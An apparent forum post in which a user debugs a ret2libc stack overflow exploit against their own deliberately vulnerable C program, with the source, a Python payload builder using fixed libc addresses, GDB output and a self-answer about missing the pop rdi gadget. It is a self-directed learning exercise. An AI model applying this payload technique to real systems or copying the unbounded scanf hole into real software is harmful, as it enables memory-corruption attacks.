So I've been trying to develop a ret2libc exploit for my program as shown below:
#include <stdlib.h>
#include <stdio.h>
void vuln()
{
char arr[0x10];
scanf("%s", arr);
printf("Input: %s",arr);
}
int main()
{
vuln();
return 0;
}
I've compiled this program with: -fno-stack-protector -z execstack -ggdb
and I have ASLR disabled along with removing my environment vars, this program is also set to 64-bit (since I'm on x86_64).
The program above is compiled to sys
.
I've developed the following stack overflow code:
from struct import pack
padding = b'A' * 24
system_addr = 0x7ffff7e15990
binsh_addr = 0x7ffff7f6304f # from libc, points to the string not the actual string itself
exit_addr = 0x7ffff7e07590
ret_addr = 0x55555555501a # need this since the stack won't align and will then segfault
payload = padding + pack("L", ret_addr) + pack("L", system_addr) + pack("L", exit_addr) + pack("L", binsh_addr)
# saving the payload to a file
with open("exp4", "wb") as f:
f.write(payload)
So this exploit unfortunately doesn't work. Here's the output from running the exploit in GDB and then in my terminal
gdb-peda$ r $(cat exp4; cat)
Starting program: /home/ena/.../.../path/sys $(cat exp4; cat)
/bin/bash: line 1: warning: command substitution: ignored null byte in input
pwd
pwd
gdb-peda$ r < exp4
Starting program: /home/ena/.../.../path/sys < exp4
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
[Attaching after Thread 0x7ffff7fb4680 (LWP 20565) vfork to child process 20568]
[New inferior 2 (process 20568)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
[Detaching vfork parent process 20565 after child exec]
[Inferior 1 (process 20565) detached]
process 20568 is executing new program: /usr/bin/bash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
sh: -c: line 1: unexpected EOF while looking for matching ``'
sh: -c: line 2: syntax error: unexpected end of file
Input: AAAAAAAAAAAAAAAAAAAAAAAAPUUUU[Inferior 2 (process 20568) exited with code 02]
[ena@btw path]$ (cat exp4; cat) | ./sys
pwd
sh: line 1: $'\346\377\377\377\177': command not found
Input: AAAAAAAAAAAAAAAAAAAAAAAAPUUUU
[ena@btw path]$
[ena@btw path]$ cat exp4 | ./sys
sh: line 1: $'\346\377\377\377\177': command not found
Input: AAAAAAAAAAAAAAAAAAAAAAAAPUUUU[ena@btw path]$
I should note that trying
(cat exp4; echo ""; cat)
and other methods of controllingstdin
have not worked.
I can say for certain that I am spawning the shell and that the addresses I'm using are correct.
I just can't for the life of me figure out why this is happening. What appears to be happening is sh
is reading my exploit as stdin
because if I tack on a \n
to the payload, it will immediately display the command not found
error and exit out (but no segfault).
So I thought this was some error with not flushing/clearing stdin
so I added fflush(stdin)
right after the call to scanf(const char*)
but it didn't work either.
Any help is greatly appreciated.
I solved the problem, the issue was is I wasn't passing in the "/bin/sh"
argument into the RDI register (in x86_64 the first 6 arguments get passed to a function via. registers). Unfortunately for me, when I compiled the source code on my machine there aren't any ropgadgets for pop rdi; ret
so I cannot use a ret2libc exploit.
Since system(const char* command)
passes into execl("/bin/sh", "sh", "-c", command, (char *) NULL);
the error here was that system()
was being called with junk data already on the stack and not "/bin/sh"
, hence the "command not found error".